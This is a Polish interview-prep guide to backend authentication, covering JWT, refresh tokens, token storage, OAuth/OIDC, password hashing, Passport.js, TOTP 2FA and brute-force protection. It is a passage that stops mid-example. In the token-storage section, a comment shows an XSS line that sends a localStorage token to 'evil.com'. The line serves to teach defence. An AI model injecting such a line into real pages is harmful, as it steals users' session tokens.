Authentication to jeden z najważniejszych tematów na rozmowach backend. Każda aplikacja potrzebuje systemu logowania, a błędy w implementacji prowadzą do poważnych luk bezpieczeństwa. Rekruterzy sprawdzają nie tylko znajomość JWT, ale rozumienie całego flow - od hashowania haseł, przez tokeny, po OAuth 2.0.
Odpowiedź w 30 sekund
Jak działa JWT authentication?
JWT (JSON Web Token) to samodzielny token zawierający dane użytkownika i podpis kryptograficzny. Składa się z trzech części: Header (algorytm), Payload (dane/claims), Signature (podpis). Po zalogowaniu serwer generuje JWT, klient wysyła go w nagłówku Authorization: Bearer <token>. Serwer weryfikuje podpis - jeśli prawidłowy, ufa danym w payload bez odpytywania bazy.
Odpowiedź w 2 minuty
Authentication to proces weryfikacji tożsamości użytkownika - "kim jesteś?". Authorization to sprawdzenie uprawnień - "co możesz robić?". Najpierw authentication (login), potem authorization (sprawdzenie roli/permissions).
Tradycyjne podejście to sesje - serwer przechowuje stan zalogowania w pamięci lub bazie, klient dostaje session ID w cookie. Problem: trudne do skalowania (sticky sessions lub shared session store), każdy request wymaga sprawdzenia sesji w bazie.
JWT rozwiązuje problem stanu - token jest samodzielny, zawiera wszystkie potrzebne informacje. Serwer nie musi nic przechowywać, wystarczy zweryfikować podpis. Token składa się z trzech części base64url encoded, oddzielonych kropkami:
Header określa algorytm podpisu (np. HS256, RS256). Payload zawiera claims - standardowe (iss, sub, exp, iat) i custom (userId, role). Signature to hash z header + payload + secret - gwarantuje że token nie został zmodyfikowany.
Ważne: JWT nie jest zaszyfrowany, tylko podpisany. Każdy może odczytać payload (base64 decode). Nie umieszczaj tam wrażliwych danych. Jeśli potrzebujesz szyfrowania, użyj JWE (JSON Web Encryption).
Typowy flow: użytkownik loguje się (email/hasło), serwer weryfikuje credentials i generuje dwa tokeny - access token (krótki, 15min) i refresh token (długi, 7 dni). Access token jest wysyłany z każdym requestem. Gdy wygaśnie, klient używa refresh tokena do pobrania nowego access tokena bez ponownego logowania.
// Generowanie JWT
import jwt from 'jsonwebtoken';
const accessToken = jwt.sign(
{ userId: user.id, role: user.role },
process.env.JWT_SECRET,
{ expiresIn: '15m' }
);
const refreshToken = jwt.sign(
{ userId: user.id, tokenVersion: user.tokenVersion },
process.env.REFRESH_SECRET,
{ expiresIn: '7d' }
);
// Weryfikacja
try {
const decoded = jwt.verify(token, process.env.JWT_SECRET);
req.user = decoded;
} catch (err) {
if (err.name === 'TokenExpiredError') {
return res.status(401).json({ error: 'Token expired' });
}
return res.status(401).json({ error: 'Invalid token' });
}
Podstawy Authentication
Czym różni się authentication od authorization?
Authentication (uwierzytelnianie) - weryfikacja tożsamości, "kim jesteś?":
- Login/hasło
- Token (JWT, API key)
- Biometria (odcisk palca, face ID)
- Certyfikat (mTLS)
Authorization (autoryzacja) - sprawdzenie uprawnień, "co możesz robić?":
- Role (admin, user, guest)
- Permissions (read, write, delete)
- Policies (ABAC, RBAC)
- Scopes (OAuth)
Kolejność: najpierw authentication, potem authorization. Nie możesz sprawdzić uprawnień kogoś, kogo nie zidentyfikowałeś.
// Authentication middleware
const authenticate = (req, res, next) => {
const token = req.headers.authorization?.split(' ')[1];
if (!token) return res.status(401).json({ error: 'No token' });
try {
req.user = jwt.verify(token, SECRET);
next();
} catch {
res.status(401).json({ error: 'Invalid token' });
}
};
// Authorization middleware
const authorize = (...roles) => (req, res, next) => {
if (!roles.includes(req.user.role)) {
return res.status(403).json({ error: 'Forbidden' });
}
next();
};
// Użycie
app.delete('/users/:id', authenticate, authorize('admin'), deleteUser);
Session-based vs Token-based authentication - jakie różnice?
Session-based:
1. Klient → login credentials → Serwer
2. Serwer tworzy sesję w pamięci/DB, zwraca session ID w cookie
3. Klient wysyła cookie z każdym requestem
4. Serwer sprawdza sesję w store, zwraca dane
Zalety:
- Łatwe unieważnienie (usuń sesję)
- Mniejszy payload (tylko ID)
- Serwer ma pełną kontrolę
Wady:
- Stateful - wymaga session store
- Trudniejsze skalowanie (sticky sessions lub Redis)
- Problemy z CORS i mobile
Token-based (JWT):
1. Klient → login credentials → Serwer
2. Serwer generuje JWT z danymi użytkownika
3. Klient przechowuje token, wysyła w Authorization header
4. Serwer weryfikuje podpis, ufa danym w tokenie
Zalety:
- Stateless - łatwe skalowanie
- Działa cross-domain
- Dobre dla mobile i SPA
Wady:
- Trudne unieważnienie (token ważny do exp)
- Większy payload
- Ryzyko przy wycieku tokena
Co to jest stateless authentication i dlaczego jest ważne?
Stateless authentication oznacza że serwer nie przechowuje stanu sesji - wszystkie potrzebne informacje są w tokenie. Każdy request jest niezależny.
Korzyści:
- Horizontal scaling - dowolny serwer może obsłużyć request
- Brak session store - nie potrzeba Redis/bazy do sesji
- Microservices friendly - każdy serwis weryfikuje token niezależnie
- CDN/Edge - można weryfikować tokeny bliżej użytkownika
Load Balancer
/ | \
Server A Server B Server C
(każdy może obsłużyć request - brak shared state)
Kompromis: trudniejsze unieważnienie tokenów. Rozwiązania:
- Krótki czas życia access tokena (15min)
- Blacklist dla krytycznych przypadków
- Token versioning w refresh tokenie
JWT Deep Dive
Z czego składa się JWT?
JWT to trzy części oddzielone kropkami: header.payload.signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4iLCJpYXQiOjE1MTYyMzkwMjJ9.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Header (base64url encoded JSON):
{
"alg": "HS256", // Algorytm podpisu
"typ": "JWT" // Typ tokena
}
Payload (base64url encoded JSON):
{
"sub": "1234567890", // Subject (user ID)
"name": "John Doe", // Custom claim
"iat": 1516239022, // Issued At
"exp": 1516242622, // Expiration
"iss": "myapp.com", // Issuer
"aud": "myapp-api" // Audience
}
Signature:
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)
Jakie są standardowe claims w JWT?
Registered claims (standardowe, opcjonalne):
-
iss(issuer) - kto wystawił token -
sub(subject) - o kim jest token (user ID) -
aud(audience) - dla kogo jest token (API) -
exp(expiration) - kiedy wygasa (Unix timestamp) -
nbf(not before) - kiedy zaczyna być ważny -
iat(issued at) - kiedy został wystawiony -
jti(JWT ID) - unikalny identyfikator tokena
Public claims - zarejestrowane w IANA JWT Registry (np. email, name)
Private claims - custom, uzgodnione między stronami:
{
"userId": "abc123",
"role": "admin",
"permissions": ["read", "write"],
"organizationId": "org456"
}
HS256 vs RS256 vs ES256 - jakie różnice?
HS256 (HMAC + SHA256) - symetryczny:
- Ten sam secret do podpisywania i weryfikacji
- Szybszy, prostszy
- Problem: każdy kto weryfikuje, może też tworzyć tokeny
// HS256 - jeden shared secret
const token = jwt.sign(payload, 'my-secret', { algorithm: 'HS256' });
jwt.verify(token, 'my-secret');
RS256 (RSA + SHA256) - asymetryczny:
- Private key do podpisywania
- Public key do weryfikacji
- Wolniejszy, większe klucze (2048+ bit)
- Idealny gdy różne serwisy weryfikują
// RS256 - para kluczy
const privateKey = fs.readFileSync('private.pem');
const publicKey = fs.readFileSync('public.pem');
const token = jwt.sign(payload, privateKey, { algorithm: 'RS256' });
jwt.verify(token, publicKey);
ES256 (ECDSA + SHA256) - asymetryczny, krótsze klucze:
- Podobne bezpieczeństwo do RS256 przy mniejszych kluczach
- Szybszy niż RS256
- Mniejszy token
| Algorytm | Typ | Długość klucza | Użycie |
|---|---|---|---|
| HS256 | Symetryczny | 256 bit | Monolity, jeden serwis |
| RS256 | Asymetryczny | 2048+ bit | Microservices, OAuth |
| ES256 | Asymetryczny | 256 bit | Mobile, IoT, performance |
Dlaczego JWT nie jest szyfrowany i kiedy to problem?
JWT jest tylko podpisany, nie zaszyfrowany. Każdy może zdekodować payload:
// Dekodowanie bez weryfikacji
const [header, payload, signature] = token.split('.');
const decoded = JSON.parse(atob(payload));
console.log(decoded); // Widoczne wszystkie dane!
Podpis gwarantuje integralność (nikt nie zmodyfikował), nie poufność.
Kiedy to problem:
- Wrażliwe dane w payload (SSN, numery kart)
- Token przesyłany przez niezaufane kanały
Rozwiązania:
- Nie umieszczaj wrażliwych danych - tylko ID, role
- Używaj HTTPS - szyfrowanie w transporcie
- JWE (JSON Web Encryption) - zaszyfrowany token
// JWE - szyfrowany token
import * as jose from 'jose';
const secret = new TextEncoder().encode('my-32-byte-secret-key-here!!');
// Szyfrowanie
const jwe = await new jose.CompactEncrypt(
new TextEncoder().encode(JSON.stringify({ sensitive: 'data' }))
)
.setProtectedHeader({ alg: 'dir', enc: 'A256GCM' })
.encrypt(secret);
// Deszyfrowanie
const { plaintext } = await jose.compactDecrypt(jwe, secret);
Access token vs Refresh token - jak działają razem?
Access token:
- Krótki czas życia (15min - 1h)
- Zawiera uprawnienia użytkownika
- Wysyłany z każdym API request
- Przechowywany w pamięci (JavaScript variable)
Refresh token:
- Długi czas życia (7-30 dni)
- Służy tylko do odświeżenia access tokena
- Przechowywany bezpiecznie (httpOnly cookie)
- Może być rotowany przy każdym użyciu
Flow:
1. Login → access token + refresh token
2. API requests z access tokenem
3. Access token wygasa (401)
4. Klient wysyła refresh token do /refresh
5. Serwer zwraca nowy access token
6. Kontynuacja bez ponownego logowania
// Endpoint refresh
app.post('/auth/refresh', async (req, res) => {
const refreshToken = req.cookies.refreshToken;
try {
const decoded = jwt.verify(refreshToken, REFRESH_SECRET);
// Sprawdź token version (pozwala na unieważnienie)
const user = await User.findById(decoded.userId);
if (user.tokenVersion !== decoded.tokenVersion) {
return res.status(401).json({ error: 'Token revoked' });
}
// Nowy access token
const accessToken = jwt.sign(
{ userId: user.id, role: user.role },
ACCESS_SECRET,
{ expiresIn: '15m' }
);
// Opcjonalnie: rotacja refresh tokena
const newRefreshToken = jwt.sign(
{ userId: user.id, tokenVersion: user.tokenVersion },
REFRESH_SECRET,
{ expiresIn: '7d' }
);
res.cookie('refreshToken', newRefreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000
});
res.json({ accessToken });
} catch (err) {
res.status(401).json({ error: 'Invalid refresh token' });
}
});
Jak unieważnić JWT przed wygaśnięciem?
JWT jest z natury stateless - nie można go "cofnąć". Strategie:
1. Krótki czas życia + refresh token:
// Access token 15min - nawet jeśli wycieknie, szybko wygaśnie
const accessToken = jwt.sign(payload, SECRET, { expiresIn: '15m' });
2. Token versioning:
// W bazie: user.tokenVersion = 1
// W tokenie: { tokenVersion: 1 }
// Przy logout: user.tokenVersion++
// Przy weryfikacji: sprawdź czy wersje się zgadzają
const decoded = jwt.verify(token, SECRET);
const user = await User.findById(decoded.userId);
if (user.tokenVersion !== decoded.tokenVersion) {
throw new Error('Token revoked');
}
3. Blacklist (dla krytycznych przypadków):
// Redis z TTL = pozostały czas ważności tokena
await redis.setex(`blacklist:${token}`, remainingTTL, '1');
// Middleware sprawdza blacklistę
const isBlacklisted = await redis.get(`blacklist:${token}`);
if (isBlacklisted) {
return res.status(401).json({ error: 'Token revoked' });
}
4. Whitelist (najbezpieczniejsze, ale stateful):
// Przechowuj aktywne tokeny w Redis
// Przy logout usuń token
// Każdy request sprawdza czy token jest na liście
Przechowywanie Tokenów
Cookie vs localStorage - gdzie przechowywać JWT?
localStorage/sessionStorage:
- ✅ Prosty dostęp z JavaScript
- ✅ Działa cross-domain (CORS)
- ❌ Podatny na XSS - JavaScript może odczytać
- ❌ Brak automatycznego wysyłania
// localStorage - NIEBEZPIECZNE dla access tokena
localStorage.setItem('token', accessToken);
// Atak XSS może wykraść token:
// fetch('https://evil.com/steal?token=' + localStorage.getItem('token'))
HttpOnly Cookie:
- ✅ JavaScript nie ma dostępu (ochrona przed XSS)
- ✅ Automatycznie wysyłane z requestami
- ❌ Podatny na CSRF (wymaga dodatkowej ochrony)
- ❌ Same-origin lub explicit CORS
// HttpOnly cookie - bezpieczniejsze
res.cookie('token', refreshToken, {
httpOnly: true, // JavaScript nie może odczytać
secure: true, // Tylko HTTPS
sameSite: 'strict', // Ochrona przed CSRF
maxAge: 7 * 24 * 60 * 60 * 1000
});
Jaka jest najlepsza praktyka przechowywania tokenów?
Rekomendowany pattern:
-
Access token w pamięci (JavaScript variable):
- Nie przetrwa odświeżenia strony
- Najbezpieczniejsze (nie w storage, nie w cookie)
- Przy odświeżeniu strony - użyj refresh tokena
-
Refresh token w httpOnly cookie:
- JavaScript nie ma dostępu
- SameSite=Strict blokuje CSRF
- Używany tylko do endpoint /refresh
// Klient
class AuthService {
accessToken = null; // W pamięci
async login(email, password) {
const res = await fetch('/auth/login', {
method: 'POST',
credentials: 'include', // Cookie
body: JSON.stringify({ email, password })
});
const { accessToken } = await res.json();
this.accessToken = accessToken;
}
async refreshToken() {
const res = await fetch('/auth/refresh', {
method: 'POST',
credentials: 'include' // Wyśle refresh cookie
});
const { accessToken } = await res.json();
this.accessToken = accessToken;
}
async api(url, options = {}) {
const res = await fetch(url, {
...options,
headers: {
...options.headers,
Authorization: `Bearer ${this.accessToken}`
}
});
if (res.status === 401) {
await this.refreshToken();
return this.api(url, options); // Retry
}
return res;
}
}
Jak chronić przed XSS i CSRF przy tokenach?
XSS (Cross-Site Scripting): Złośliwy skrypt w aplikacji kradnie tokeny.
Ochrona:
- HttpOnly cookies (JavaScript nie ma dostępu)
- Content Security Policy (CSP)
- Sanityzacja inputów
- Nie używaj
innerHTML,eval
// CSP header
res.setHeader('Content-Security-Policy',
"default-src 'self'; script-src 'self'"
);
CSRF (Cross-Site Request Forgery): Zewnętrzna strona wykonuje request do API używając cookie użytkownika.
Ochrona:
- SameSite cookie (Strict lub Lax)
- CSRF token
- Sprawdzanie Origin/Referer header
// Cookie z SameSite
res.cookie('refreshToken', token, {
httpOnly: true,
secure: true,
sameSite: 'strict' // Nie wyślij cookie z zewnętrznych stron
});
// Dodatkowo: CSRF token dla mutujących operacji
app.post('/api/transfer', csrfProtection, (req, res) => {
// CSRF token musi być w request body/header
});
OAuth 2.0 i OpenID Connect
Czym jest OAuth 2.0 i jakie są jego flows?
OAuth 2.0 to framework autoryzacji - pozwala aplikacji uzyskać ograniczony dostęp do zasobów użytkownika na innym serwisie, bez udostępniania hasła.
Role:
- Resource Owner - użytkownik
- Client - aplikacja żądająca dostępu
- Authorization Server - wydaje tokeny (Google, GitHub)
- Resource Server - API z zasobami
Flows:
1. Authorization Code (najczęstszy dla web apps):
1. Klient → przekierowanie do Auth Server
2. User loguje się i akceptuje permissions
3. Auth Server → redirect z authorization code
4. Klient → wymiana code na access token (backend)
5. Klient używa access tokena do API
2. Authorization Code + PKCE (dla SPA, mobile):
// 1. Generuj code_verifier i code_challenge
const codeVerifier = generateRandomString(128);
const codeChallenge = base64url(sha256(codeVerifier));
// 2. Authorization request z challenge
const authUrl = `https://auth.example.com/authorize?
response_type=code&
client_id=${clientId}&
redirect_uri=${redirectUri}&
code_challenge=${codeChallenge}&
code_challenge_method=S256`;
// 3. Exchange code z verifier
const tokenResponse = await fetch('https://auth.example.com/token', {
method: 'POST',
body: new URLSearchParams({
grant_type: 'authorization_code',
code: authorizationCode,
code_verifier: codeVerifier,
redirect_uri: redirectUri,
client_id: clientId
})
});
3. Client Credentials (machine-to-machine):
// Bez użytkownika - serwis do serwisu
const tokenResponse = await fetch('https://auth.example.com/token', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
grant_type: 'client_credentials',
client_id: 'my-service',
client_secret: 'service-secret',
scope: 'read:users'
})
});
4. Implicit (deprecated) - token zwracany bezpośrednio w URL, niebezpieczny
Czym jest OpenID Connect i jak rozszerza OAuth?
OpenID Connect (OIDC) to warstwa identity na OAuth 2.0. OAuth mówi "co możesz robić", OIDC mówi "kim jesteś".
Dodaje:
- ID Token - JWT z informacjami o użytkowniku
- /userinfo endpoint - szczegóły profilu
- Standardowe claims - name, email, picture
- Standardowe scopes - openid, profile, email
// OAuth 2.0 scope
scope: 'read:repos write:repos'
// OIDC scope
scope: 'openid profile email'
// ID Token claims
{
"iss": "https://accounts.google.com",
"sub": "110169484474386276334", // Unique user ID
"aud": "your-client-id",
"exp": 1516239022,
"iat": 1516235422,
"name": "John Doe",
"email": "john@example.com",
"picture": "https://..."
}
Jak zaimplementować "Login with Google/GitHub"?
// Passport.js z Google OAuth
import passport from 'passport';
import { Strategy as GoogleStrategy } from 'passport-google-oauth20';
passport.use(new GoogleStrategy({
clientID: process.env.GOOGLE_CLIENT_ID,
clientSecret: process.env.GOOGLE_CLIENT_SECRET,
callbackURL: '/auth/google/callback'
},
async (accessToken, refreshToken, profile, done) => {
// Znajdź lub utwórz użytkownika
let user = await User.findOne({ googleId: profile.id });
if (!user) {
user = await User.create({
googleId: profile.id,
email: profile.emails[0].value,
name: profile.displayName,
avatar: profile.photos[0]?.value
});
}
return done(null, user);
}
));
// Routes
app.get('/auth/google',
passport.authenticate('google', { scope: ['profile', 'email'] })
);
app.get('/auth/google/callback',
passport.authenticate('google', { session: false }),
(req, res) => {
// Generuj własne tokeny
const accessToken = generateAccessToken(req.user);
const refreshToken = generateRefreshToken(req.user);
res.cookie('refreshToken', refreshToken, { httpOnly: true, secure: true });
res.redirect(`/login-success?token=${accessToken}`);
}
);
Access token vs ID token w OAuth/OIDC - jakie różnice?
Access Token:
- Do autoryzacji API requests
- Może być JWT lub opaque string
- Zawiera scopes/permissions
- Wysyłany do Resource Server
- Nie powinien być parsowany przez klienta
ID Token:
- Do uwierzytelnienia użytkownika
- Zawsze JWT
- Zawiera informacje o użytkowniku
- Tylko dla klienta (nie wysyłany do API)
- Parsowany i walidowany przez klienta
// Po zalogowaniu OIDC
const { access_token, id_token, refresh_token } = tokenResponse;
// ID token - informacje o użytkowniku
const idTokenPayload = jwt.decode(id_token);
console.log(idTokenPayload.email); // kim jest user
// Access token - do API calls
const response = await fetch('/api/data', {
headers: { Authorization: `Bearer ${access_token}` }
});
Hashowanie Haseł
Dlaczego nie można przechowywać haseł w plain text?
Jeśli baza wycieknie, atakujący ma dostęp do wszystkich haseł. Użytkownicy często używają tego samego hasła na wielu stronach.
Ataki na hasła:
- Data breach / SQL injection
- Backup theft
- Insider threat
- Log files
Hash ≠ Encryption:
- Encryption jest odwracalna (decrypt)
- Hash jest jednokierunkowy (nie da się odzyskać)
// ŹLE - plain text
await db.insert({ email, password: 'secret123' });
// ŹLE - encryption (można odszyfrować)
await db.insert({ email, password: encrypt('secret123', key) });
// DOBRZE - hash (nie można odwrócić)
await db.insert({ email, password: await bcrypt.hash('secret123', 12) });
Czym różni się bcrypt od MD5/SHA?
MD5/SHA (fast hashes):
- Zaprojektowane do szybkości
- Brak wbudowanego salt
- Podatne na rainbow tables
- GPU może sprawdzić miliardy hashy/sekundę
bcrypt/Argon2 (password hashes):
- Celowo wolne (adaptive cost)
- Wbudowany salt
- Odporne na rainbow tables
- Trudne do równoległego ataku
// MD5 - ZŁE dla haseł
import crypto from 'crypto';
const hash = crypto.createHash('md5').update(password).digest('hex');
// Atakujący może sprawdzić ~10 miliardów haseł/sekundę
// bcrypt - DOBRE dla haseł
import bcrypt from 'bcrypt';
const hash = await bcrypt.hash(password, 12); // cost factor 12
// Atakujący może sprawdzić ~10 haseł/sekundę
Jak działa bcrypt i co to jest cost factor?
Bcrypt generuje hash w następujący sposób:
- Generuje losowy salt (16 bajtów)
- Łączy salt z hasłem
- Wykonuje 2^cost iteracji algorytmu Blowfish
- Wynikowy hash zawiera: algorytm, cost, salt, hash
$2b$12$R9h/cIPz0gi.URNNX3kh2OPST9/PgBkqquzi.Ss7KIUgO2t0jWMUW
│ │ │ │
│ │ └─ Salt (22 chars) └─ Hash (31 chars)
│ └─ Cost factor (2^12 = 4096 iterations)
└─ Algorithm version
Cost factor:
- Określa ile iteracji (2^cost)
- Wyższy = wolniejszy = bezpieczniejszy
- Typowo 10-12 dla web apps
- Zwiększaj gdy hardware przyspiesza
import bcrypt from 'bcrypt';
// Hashowanie
const saltRounds = 12; // 2^12 = 4096 iterations
const hash = await bcrypt.hash('myPassword', saltRounds);
// Weryfikacja
const isValid = await bcrypt.compare('myPassword', hash);
// Benchmark różnych cost factors
for (let cost = 8; cost <= 14; cost++) {
const start = Date.now();
await bcrypt.hash('test', cost);
console.log(`Cost ${cost}: ${Date.now() - start}ms`);
}
// Cost 8: ~40ms
// Cost 10: ~150ms
// Cost 12: ~600ms
// Cost 14: ~2400ms
bcrypt vs Argon2 - co wybrać?
bcrypt:
- Sprawdzony od 1999 roku
- Szeroko wspierany
- Hardcoded memory usage
- Wystarczający dla większości aplikacji
Argon2 (winner Password Hashing Competition 2015):
- Nowoczesny, rekomendowany przez OWASP
- Konfigurowalny: czas, pamięć, paralelizm
- Lepsze zabezpieczenie przed GPU attacks
- Trzy warianty: Argon2d, Argon2i, Argon2id (recommended)
import argon2 from 'argon2';
// Hashowanie z Argon2id
const hash = await argon2.hash('myPassword', {
type: argon2.argon2id, // Wariant (id = hybrid)
memoryCost: 65536, // 64 MB RAM
timeCost: 3, // 3 iteracje
parallelism: 4 // 4 wątki
});
// Weryfikacja
const isValid = await argon2.verify(hash, 'myPassword');
// Hash format
// $argon2id$v=19$m=65536,t=3,p=4$salt$hash
Rekomendacja:
- Nowy projekt → Argon2id
- Istniejący projekt z bcrypt → bcrypt jest OK
- Migracja: przy następnym loginie użytkownika, rehash do Argon2
Passport.js i Strategie
Czym jest Passport.js i jak działa?
Passport.js to middleware do autentykacji dla Node.js/Express. Obsługuje 500+ strategii (local, OAuth, SAML, etc.).
Koncepcje:
- Strategy - sposób autentykacji (local, google, jwt)
- Serialize/Deserialize - sesje (opcjonalne)
-
Middleware -
passport.authenticate()
import passport from 'passport';
import { Strategy as LocalStrategy } from 'passport-local';
import { Strategy as JwtStrategy, ExtractJwt } from 'passport-jwt';
// Local Strategy (email/password)
passport.use(new LocalStrategy({
usernameField: 'email',
passwordField: 'password'
},
async (email, password, done) => {
try {
const user = await User.findOne({ email });
if (!user) {
return done(null, false, { message: 'User not found' });
}
const isValid = await bcrypt.compare(password, user.password);
if (!isValid) {
return done(null, false, { message: 'Wrong password' });
}
return done(null, user);
} catch (err) {
return done(err);
}
}
));
// JWT Strategy
passport.use(new JwtStrategy({
jwtFromRequest: ExtractJwt.fromAuthHeaderAsBearerToken(),
secretOrKey: process.env.JWT_SECRET
},
async (payload, done) => {
try {
const user = await User.findById(payload.userId);
if (!user) {
return done(null, false);
}
return done(null, user);
} catch (err) {
return done(err);
}
}
));
// Użycie w routes
app.post('/login',
passport.authenticate('local', { session: false }),
(req, res) => {
const token = jwt.sign({ userId: req.user.id }, SECRET);
res.json({ token });
}
);
app.get('/protected',
passport.authenticate('jwt', { session: false }),
(req, res) => {
res.json({ user: req.user });
}
);
Jak działa serialize/deserialize w Passport?
Serialize i deserialize są potrzebne tylko przy session-based auth:
// Serialize - co zapisać w sesji (zwykle tylko ID)
passport.serializeUser((user, done) => {
done(null, user.id);
});
// Deserialize - odtwórz użytkownika z ID
passport.deserializeUser(async (id, done) => {
try {
const user = await User.findById(id);
done(null, user);
} catch (err) {
done(err);
}
});
// Session setup
app.use(session({
secret: 'session-secret',
resave: false,
saveUninitialized: false
}));
app.use(passport.initialize());
app.use(passport.session()); // Tylko dla session-based
Dla JWT auth (stateless) nie potrzebujesz serialize/deserialize - używasz { session: false }.
MFA i Bezpieczeństwo
Jak zaimplementować 2FA z TOTP?
TOTP (Time-based One-Time Password) - algorytm generujący kody które zmieniają się co 30 sekund, bazując na shared secret i czasie.
import speakeasy from 'speakeasy';
import QRCode from 'qrcode';
// 1. Generuj secret dla użytkownika
app.post('/2fa/setup', authenticate, async (req, res) => {
const secret = speakeasy.generateSecret({
name: `MyApp:${req.user.email}`,
issuer: 'MyApp'
});
// Zapisz secret (encrypted!) w bazie
await User.findByIdAndUpdate(req.user.id, {
twoFactorSecret: encrypt(secret.base32),
twoFactorEnabled: false // Dopiero po weryfikacji
});
// QR code dla Google Authenticator
const qrCode = await QRCode.toDataURL(secret.otpauth_url);
res.json({ qrCode, secret: secret.base32 });
});
// 2. Weryfikuj i włącz 2FA
app.post('/2fa/verify', authenticate, async (req, res) => {
const { token } = req.body;
const user = await User.findById(req.user.id);
const isValid = speakeasy.totp.verify({
secret: decrypt(user.twoFactorSecret),
encoding: 'base32',
token,
window: 1 // ±30 sekund
});
if (!isValid) {
return res.status(400).json({ error: 'Invalid code' });
}
user.twoFactorEnabled = true;
await user.save();
// Generuj backup codes
const backupCodes = generateBackupCodes(10);
user.backupCodes = backupCodes.map(code => bcrypt.hashSync(code, 10));
await user.save();
res.json({ success: true, backupCodes });
});
// 3. Login z 2FA
app.post('/login', async (req, res) => {
const { email, password, totpToken } = req.body;
const user = await User.findOne({ email });
// Sprawdź hasło
if (!await bcrypt.compare(password, user.password)) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// Sprawdź 2FA jeśli włączone
if (user.twoFactorEnabled) {
if (!totpToken) {
return res.status(200).json({ requires2FA: true });
}
const isValid = speakeasy.totp.verify({
secret: decrypt(user.twoFactorSecret),
encoding: 'base32',
token: totpToken
});
if (!isValid) {
return res.status(401).json({ error: 'Invalid 2FA code' });
}
}
// Sukces - generuj tokeny
const accessToken = generateAccessToken(user);
res.json({ accessToken });
});
Jakie są najczęstsze błędy w implementacji auth?
1. Timing attacks na porównanie haseł:
// ŹLE - różny czas dla różnych pozycji błędu
if (password === storedPassword) { ... }
// DOBRZE - stały czas
import { timingSafeEqual } from 'crypto';
const isEqual = timingSafeEqual(
Buffer.from(password),
Buffer.from(storedPassword)
);
// NAJLEPIEJ - bcrypt.compare robi to automatycznie
2. Brak rate limiting na login:
// Brute force protection
import rateLimit from 'express-rate-limit';
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minut
max: 5, // 5 prób
message: 'Too many login attempts'
});
app.post('/login', loginLimiter, loginHandler);
3. User enumeration:
// ŹLE - różne odpowiedzi
if (!user) return res.json({ error: 'User not found' });
if (!validPassword) return res.json({ error: 'Wrong password' });
// DOBRZE - ta sama odpowiedź
return res.status(401).json({ error: 'Invalid credentials' });
4. Słabe hasła:
// Walidacja siły hasła
import zxcvbn from 'zxcvbn';
const result = zxcvbn(password);
if (result.score < 3) {
return res.status(400).json({
error: 'Password too weak',
suggestions: result.feedback.suggestions
});
}
5. JWT secret w kodzie:
// ŹLE
const token = jwt.sign(payload, 'my-super-secret');
// DOBRZE - z env, długi, losowy
const token = jwt.sign(payload, process.env.JWT_SECRET);
// JWT_SECRET=min 256 bits (32 bytes) random
Jak chronić przed brute force i credential stuffing?
import rateLimit from 'express-rate-limit';
import RedisStore from 'rate-limit-redis';
// 1. Rate limiting per IP
const ipLimiter = rateLimit({
store: new RedisStore({ client: redis }),
windowMs: 60 * 1000, // 1 minuta
max: 10 // 10 requestów
});
// 2. Rate limiting per account
const accountLimiter = async (req, res, next) => {
const { email } = req.body;
const key = `login:${email}`;
const attempts = await redis.incr(key);
if (attempts === 1) {
await redis.expire(key, 900); // 15 minut
}
if (attempts > 5) {
return res.status(429).json({
error: 'Account temporarily locked',
retryAfter: await redis.ttl(key)
});
}
next();
};
// 3. Po udanym loginie - reset licznika
const loginSuccess = async (email) => {
await redis.del(`login:${email}`);
};
// 4. Progressive delays
const getDelay = (attempts) => {
const delays = [0, 1000, 2000, 5000, 10000, 30000];
return delays[Math.min(attempts, delays.length - 1)];
};
// 5. CAPTCHA po X próbach
if (attempts > 3) {
const captchaValid = await verifyCaptcha(req.body.captchaToken);
if (!captchaValid) {
return res.status(400).json({ requiresCaptcha: true });
}
}
// 6. Device fingerprinting / anomaly detection
const isNewDevice = await checkDeviceFingerprint(req.user, req);
if (isNewDevice) {
await sendVerificationEmail(req.user);
return res.json({ requiresDeviceVerification: true });
}
Praktyczne Implementacje
Kompletny przykład auth systemu z Express
import express from 'express';
import bcrypt from 'bcrypt';
import jwt from 'jsonwebtoken';
import cookieParser from 'cookie-parser';
const app = express();
app.use(express.json());
app.use(cookieParser());
const ACCESS_SECRET = process.env.ACCESS_SECRET;
const REFRESH_SECRET = process.env.REFRESH_SECRET;
// Middleware autentykacji
const authenticate = (req, res, next) => {
const authHeader = req.headers.authorization;
const token = authHeader?.split(' ')[1];
if (!token) {
return res.status(401).json({ error: 'No token provided' });
}
try {
const decoded = jwt.verify(token, ACCESS_SECRET);
req.user = decoded;
next();
} catch (err) {
if (err.name === 'TokenExpiredError') {
return res.status(401).json({ error: 'Token expired', code: 'TOKEN_EXPIRED' });
}
return res.status(401).json({ error: 'Invalid token' });
}
};
// Middleware autoryzacji
const authorize = (...roles) => (req, res, next) => {
if (!roles.includes(req.user.role)) {
return res.status(403).json({ error: 'Insufficient permissions' });
}
next();
};
// Rejestracja
app.post('/auth/register', async (req, res) => {
const { email, password, name } = req.body;
// Walidacja
if (!email || !password || password.length < 8) {
return res.status(400).json({ error: 'Invalid input' });
}
// Sprawdź czy user istnieje
const existingUser = await User.findOne({ email });
if (existingUser) {
return res.status(409).json({ error: 'Email already registered' });
}
// Hash hasła
const passwordHash = await bcrypt.hash(password, 12);
// Utwórz użytkownika
const user = await User.create({
email,
password: passwordHash,
name,
role: 'user',
tokenVersion: 0
});
// Wyślij email weryfikacyjny
const verificationToken = jwt.sign(
{ userId: user.id, type: 'email-verification' },
ACCESS_SECRET,
{ expiresIn: '24h' }
);
await sendVerificationEmail(user.email, verificationToken);
res.status(201).json({ message: 'User created. Please verify email.' });
});
// Login
app.post('/auth/login', async (req, res) => {
const { email, password } = req.body;
// Znajdź użytkownika
const user = await User.findOne({ email });
if (!user) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// Sprawdź hasło
const isValid = await bcrypt.compare(password, user.password);
if (!isValid) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// Sprawdź weryfikację email
